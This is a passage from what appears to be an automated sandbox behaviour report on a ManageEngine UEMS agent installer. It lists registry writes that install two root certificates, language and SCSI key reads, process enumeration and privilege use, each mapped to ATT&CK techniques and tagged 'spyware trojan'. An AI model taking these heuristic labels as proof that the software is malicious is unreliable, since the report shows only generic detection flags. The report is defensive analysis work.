88556c4255eb04b12b9ef7b06d495fdd8589d55825388f91233497e7a8432801f0ec08984bad61ff4bfda38ef14d832e4c8046494360356c1204c0e37067201dc17f37110b8ea5c28c73d6dfa731b05c5c3f94a5528b1c6dba1c38ad325264063c6b6276dca5211afa0b0dc40599a932a2366de5543a414ce545c6536f587a0c3b9f5fb14e2c2c62890fc9ea3bcb413f1e94361d5f3755c7f6f59870203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60301f0603551d23041830168014be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101005af98539ad725ce4869ef0c0d1f3cf19dc296123a27cb061d5666e62c1f59d363d9fb7ccd1913ceee15835d09bcc2843be66486a9784bf7ff62848e2c3a4113ac894e3412cb060db6b17ad490c6d304967c2c69778c32c97784778525760b66eb308dfcfeb57071385df5677651fe3f7b6b423802200bcab79993cfb607b98f45513c82328dbe5b673e6514f0822df791def3f7384ebe767056a397e37942a60a3245a83a80b4b91c00e1b05d95f646fd27c486962515440bf98b56459c6c3316009b50f83c853ed3dbf4c9342024ff4758fcbc14d73f92b5c556acbffc6156cbcfc554a50d0edcb16a794403a0ea63c16f303d400ce9426f8124fc4dc041bce	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\52F0D9BD4CE0B85032A1D943BF5958D6EA198B67\Blob = 03000000010000001400000052f0d9bd4ce0b85032a1d943bf5958d6ea198b672000000001000000f0030000308203ec308202d4a00302010202085b241953a4617446300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932303230303230395a180f32303531303932303230303230395a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d24c7a6a177ff138389240a302556d2ca18fe9c13fadf0265d41466bdf3ccb2cee52136a7ef7ccb68d6cc984fea437b5a94122e693990735df80cf88a05aa84382cc21aeb779a54cde93c9c52b295d72025c360aea6c472cc58d1d9ed6a199fc772587c83c4873bc824c67f166429b93bf4bd474735bb5ff99b609db15fd64bfa035f97f6ed02c31bfd6535174a33d950a022c81db6c33a1143e3eaf9c358ac39aaa2f6c032729bf9b8cc27b36d7a62a7f97519bd9fbdecbfa64cd293da7dccc0b0922c6f2ad8baaf0c561587d3fd9310a0a1b08e712c5ad26995c21c20f749a92cba4dc3e3651fc5f426ff2e6a6a1b11c0fb0f4dddbe05822bb35f2c2e0e18b0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142b5d6ea59503c15f6f682ed1c729b33163f3931b301f0603551d230418301680142b5d6ea59503c15f6f682ed1c729b33163f3931b300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101004bcf34f6eade6832671b952d1b073b6424787bdfd5f7e0dd75d141c573d211f18e9c58e9a7798fbbf4dc1e56393ad49d8c957abc2e671044229fa4157fccf0a8ab9bcbc81039dfb867e0f24d0265527493b7f37d100bc2d1e3d0c28ef36a867b914d774a24566be0666940dc6f2abfaf155ee81753f000b8f56ea5fd03ec94c59c72a0f17b2b616bacf134f9661cad62fcebb8ae56f443b698c8527d3da72e3cda5e03b27ef95f38ed220ee8b343934acf305e14cabeb1db4f8c7040151824af73fc42bef4885eb0aa0d92ec3d5accc7c245bc3ea648d17fa877234c32ced72f84026014945f2d74541b4df82efaa76edb4a936bc8682621faa0e7c6fa91fbdc	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8B6960C5A479CC09B17780856D536B79A59A504D\Blob = 0f0000000100000020000000b7431d0c15882f5d36b359f4e706d845869c68e24a506c04893b62746212c59f0300000001000000140000008b6960c5a479cc09b17780856d536b79a59a504d2000000001000000d8030000308203d4308202bca003020102020854a2c6b138994ffa300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932303230303230385a180f32303531303932303230303230385a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c5ceb84f620e4a3dd3ad591457410ac9bf791e4ea84bf6eb35f6f9642d806d3d907f824e3eeb7d68443a5bc353bee9b310932a0ce8db7b0a1f84d8969d50a0b89ed31a979166ae9d1084042e733c7e573f9a86ed807a6d768cb708b1e76cd45dd12ce06bb88556c4255eb04b12b9ef7b06d495fdd8589d55825388f91233497e7a8432801f0ec08984bad61ff4bfda38ef14d832e4c8046494360356c1204c0e37067201dc17f37110b8ea5c28c73d6dfa731b05c5c3f94a5528b1c6dba1c38ad325264063c6b6276dca5211afa0b0dc40599a932a2366de5543a414ce545c6536f587a0c3b9f5fb14e2c2c62890fc9ea3bcb413f1e94361d5f3755c7f6f59870203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60301f0603551d23041830168014be2c367e4a3a44e93dcb40d45cd0d2adcbce5b60300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b050003820101005af98539ad725ce4869ef0c0d1f3cf19dc296123a27cb061d5666e62c1f59d363d9fb7ccd1913ceee15835d09bcc2843be66486a9784bf7ff62848e2c3a4113ac894e3412cb060db6b17ad490c6d304967c2c69778c32c97784778525760b66eb308dfcfeb57071385df5677651fe3f7b6b423802200bcab79993cfb607b98f45513c82328dbe5b673e6514f0822df791def3f7384ebe767056a397e37942a60a3245a83a80b4b91c00e1b05d95f646fd27c486962515440bf98b56459c6c3316009b50f83c853ed3dbf4c9342024ff4758fcbc14d73f92b5c556acbffc6156cbcfc554a50d0edcb16a794403a0ea63c16f303d400ce9426f8124fc4dc041bce	dcagentregister.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5740	2400	WerFault.exe	86

System Location Discovery: System Language Discovery 1 TTPs 47 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CRU_Reporter.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcswmeter.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentservice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcusbsummary.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcagentregister.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcondemand.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcinventory.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcinventory.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcpatchscan.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentservice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcstatusutil.exe

Checks SCSI registry key(s) 3 TTPs 10 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dcusb64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	dcusb64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dcusb64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities	dcusb64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	dcusb64.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	dcusb64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dcusbsummary.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dcusbsummary.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dcusbsummary.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dcusbsummary.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2248	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2308	systeminfo.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcondemand.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcondemand.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcondemand.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcondemand.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcstatusutil.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentservice.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dcpatchscan.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcconfig.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcstatusutil.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dcinventory.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcconfig.exe

Modifies registry class 31 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "3DC0AB524872D4B49B075C211A03C650"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products	dcagentservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\"	dcagentservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList	dcagentservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_T9DMWZKF\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_T9DMWZKF\\"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net	dcagentservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B	dcagentservice.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer	dcagentservice.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8B6960C5A479CC09B17780856D536B79A59A504D	dcagentregister.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\52F0D9BD4CE0B85032A1D943BF5958D6EA198B67	dcagentregister.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe
5296	dcagentregister.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4848	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4848	msiexec.exe
Token: SeSecurityPrivilege	4672	msiexec.exe
Token: SeCreateTokenPrivilege	4848	msiexec.exe
